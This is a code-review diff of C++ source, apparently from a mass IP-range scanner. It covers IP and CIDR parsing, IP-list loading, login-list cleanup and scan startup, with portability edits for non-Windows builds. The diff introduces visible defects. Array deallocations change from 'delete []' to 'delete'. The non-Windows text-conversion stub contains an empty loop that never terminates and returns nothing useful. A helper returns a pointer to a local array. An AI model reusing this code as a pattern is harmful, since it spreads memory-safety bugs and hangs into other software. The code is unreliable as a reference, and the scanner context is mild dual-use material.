@ -1211,7 +1220,11 @@ void ReadUTF8(FILE* nFile, char *cp)
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i]));
|
||||
@ -1222,7 +1235,7 @@ void ReadUTF8(FILE* nFile, char *cp)
|
||||
|
||||
unsigned char buffcpy2[256] = {0};
|
||||
int sz = strlen((char*)buffFG);
|
||||
#ifdef WIN32
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz);
|
||||
#else
|
||||
strncpy((char*)buffcpy2, buffFG, sz);
|
||||
@ -1246,23 +1259,48 @@ void ReadUTF8(FILE* nFile, char *cp)
|
||||
|
||||
};
|
||||
}
|
||||
#ifdef WIN32
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
unsigned char* ASCIItoUNICODE (unsigned char ch)
|
||||
{
|
||||
unsigned char Val[2];
|
||||
if ((ch < 192)&&(ch != 168)&&(ch != 184)) {Val[0] = 0; Val[1] = ch; return Val;}
|
||||
if (ch == 168) {Val[0] = 208; Val[1] = 129; return Val;}
|
||||
if (ch == 184) {Val[0] = 209; Val[1] = 145; return Val;}
|
||||
if (ch < 240) {Val[0] = 208; Val[1] = ch-48; return Val;}
|
||||
if (ch < 249) {Val[0] = 209; Val[1] = ch-112; return Val;}
|
||||
}
|
||||
#endif
|
||||
|
||||
std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage)
|
||||
{
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0);
|
||||
LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)];
|
||||
MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize);
|
||||
int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0);
|
||||
char * buf = (char *)new char[size];
|
||||
WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0);
|
||||
delete [] wbuf;
|
||||
|
||||
std::string res;
|
||||
delete wbuf;
|
||||
|
||||
res.append(buf);
|
||||
delete [] buf;
|
||||
delete buf;
|
||||
#else
|
||||
unsigned int size = 0;
|
||||
while (src[size++]!=0);
|
||||
char * buf = (char *)new char[size];
|
||||
unsigned char uni[16] = {0};
|
||||
|
||||
size=0;
|
||||
while (src[size]!=0)
|
||||
{
|
||||
|
||||
};
|
||||
delete buf;
|
||||
#endif
|
||||
return res;
|
||||
}
|
||||
#endif
|
||||
void _NegativeFapper()
|
||||
{
|
||||
FILE *nFile = fopen("negatives.txt", "rb");
|
||||
@ -1283,7 +1321,8 @@ void _NegativeFapper()
|
||||
ReadUTF8(nFile, "1251");
|
||||
};
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
void CheckMaskBits(char *res, int index)
|
||||
{
|
||||
char *bitsStr = strstr(res, "/");
|
||||
@ -1346,7 +1385,8 @@ void CheckMaskBits(char *res, int index)
|
||||
stt->doEmitionKillSttThread();
|
||||
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
void GetOctets(char *curIP)
|
||||
{
|
||||
char *str1;
|
||||
@ -1426,7 +1466,8 @@ void GetOctets(char *curIP)
|
||||
octet[3] = atoi(temp);
|
||||
return;
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
int fInit(int InitMode, char *gR)
|
||||
{
|
||||
strcpy(metaRange, gR);
|
||||
@ -1603,7 +1644,8 @@ int fInit(int InitMode, char *gR)
|
||||
|
||||
targets = numOfIps(ipsstart, ipsend);
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
void FileLoader(char *str)
|
||||
{
|
||||
char res[256] = {0};
|
||||
@ -1847,7 +1889,8 @@ void FileLoader(char *str)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
char *GetCIDRRangeStr(char *str)
|
||||
{
|
||||
char result[128] = {0};
|
||||
@ -1915,37 +1958,62 @@ char *GetCIDRRangeStr(char *str)
|
||||
mOctet[3] = 0;
|
||||
};
|
||||
|
||||
strcpy(start, itoa(octet[0]&mOctet[0], buff, 10));
|
||||
strcat(start, ".");
|
||||
strcat(start, itoa(octet[1]&mOctet[1], buff, 10));
|
||||
strcat(start, ".");
|
||||
strcat(start, itoa(octet[2]&mOctet[2], buff, 10));
|
||||
strcat(start, ".");
|
||||
strcat(start, itoa(octet[3]&mOctet[3], buff, 10));
|
||||
|
||||
unsigned char tempRes = 0;
|
||||
if(mOctet[0] == 255) tempRes = octet[0];
|
||||
else tempRes = octet[0]|~mOctet[0];
|
||||
strcat(end, itoa(tempRes, buff, 10));
|
||||
strcat(end, ".");
|
||||
if(mOctet[1] == 255) tempRes = octet[1];
|
||||
else tempRes = octet[1]|~mOctet[1];
|
||||
strcat(end, itoa(tempRes, buff, 10));
|
||||
strcat(end, ".");
|
||||
if(mOctet[2] == 255) tempRes = octet[2];
|
||||
else tempRes = octet[2]|~mOctet[2];
|
||||
strcat(end, itoa(tempRes, buff, 10));
|
||||
strcat(end, ".");
|
||||
if(mOctet[3] == 255) tempRes = octet[3];
|
||||
else tempRes = octet[3]|~mOctet[3];
|
||||
strcat(end, itoa(tempRes, buff, 10));
|
||||
|
||||
sprintf(start, "%d.%d.%d.%d", octet[0]&mOctet[0],
|
||||
octet[1]&mOctet[1],
|
||||
octet[2]&mOctet[2],
|
||||
octet[3]&mOctet[3]);
|
||||
|
||||
// strcpy(start, itoa(octet[0]&mOctet[0], buff, 10));
|
||||
// strcat(start, ".");
|
||||
// strcat(start, itoa(octet[1]&mOctet[1], buff, 10));
|
||||
// strcat(start, ".");
|
||||
// strcat(start, itoa(octet[2]&mOctet[2], buff, 10));
|
||||
// strcat(start, ".");
|
||||
// strcat(start, itoa(octet[3]&mOctet[3], buff, 10));
|
||||
|
||||
unsigned char tempRes0 = 0;
|
||||
unsigned char tempRes1 = 0;
|
||||
unsigned char tempRes2 = 0;
|
||||
unsigned char tempRes3 = 0;
|
||||
|
||||
if(mOctet[0] == 255) tempRes0 = octet[0];
|
||||
else tempRes0 = octet[0]|~mOctet[0];
|
||||
if(mOctet[1] == 255) tempRes1 = octet[1];
|
||||
else tempRes1 = octet[1]|~mOctet[1];
|
||||
if(mOctet[2] == 255) tempRes2 = octet[2];
|
||||
else tempRes2 = octet[2]|~mOctet[2];
|
||||
if(mOctet[3] == 255) tempRes3 = octet[3];
|
||||
else tempRes3 = octet[3]|~mOctet[3];
|
||||
|
||||
sprintf(end, "%d.%d.%d.%d", tempRes0,
|
||||
tempRes1,
|
||||
tempRes2,
|
||||
tempRes3);
|
||||
|
||||
// if(mOctet[0] == 255) tempRes = octet[0];
|
||||
// else tempRes = octet[0]|~mOctet[0];
|
||||
// strcat(end, itoa(tempRes, buff, 10));
|
||||
// strcat(end, ".");
|
||||
// if(mOctet[1] == 255) tempRes = octet[1];
|
||||
// else tempRes = octet[1]|~mOctet[1];
|
||||
// strcat(end, itoa(tempRes, buff, 10));
|
||||
// strcat(end, ".");
|
||||
// if(mOctet[2] == 255) tempRes = octet[2];
|
||||
// else tempRes = octet[2]|~mOctet[2];
|
||||
// strcat(end, itoa(tempRes, buff, 10));
|
||||
// strcat(end, ".");
|
||||
// if(mOctet[3] == 255) tempRes = octet[3];
|
||||
// else tempRes = octet[3]|~mOctet[3];
|
||||
// strcat(end, itoa(tempRes, buff, 10));
|
||||
|
||||
strcpy(result, start);
|
||||
strcat(result, "-");
|
||||
strcat(result, end);
|
||||
|
||||
return result;
|
||||
};
|
||||
}
|
||||
|
||||
int ParseArgs(int argc, char *argv[])
|
||||
{
|
||||
int s = 0;
|
||||
@ -2115,7 +2183,7 @@ int ParseArgs(int argc, char *argv[])
|
||||
delete[] argString;
|
||||
|
||||
return 0;
|
||||
};
|
||||
}
|
||||
|
||||
char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
|
||||
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
||||
@ -2130,7 +2198,8 @@ int _getPos(char l)
|
||||
if(l == charAll[i]) return i;
|
||||
};
|
||||
return -1;
|
||||
};
|
||||
}
|
||||
|
||||
int _getChunkCount(char *data)
|
||||
{
|
||||
int firstPos = _getPos(data[1]);
|
||||
@ -2227,7 +2296,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder)
|
||||
Sleep(gThreadDelay);
|
||||
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
int startScan(char* args)
|
||||
{
|
||||
@ -2817,7 +2886,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
||||
stt->doEmitionChangeStatus("Idle");
|
||||
stt->doEmitionKillSttThread();
|
||||
|
||||
};
|
||||
}
|
||||
|
||||
void nCleanup(){
|
||||
if(loginLst != NULL)
|
||||
@ -2878,4 +2947,4 @@ void nCleanup(){
|
||||
delete []starterIP;
|
||||
starterIP = NULL;
|
||||
};
|
||||
}
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user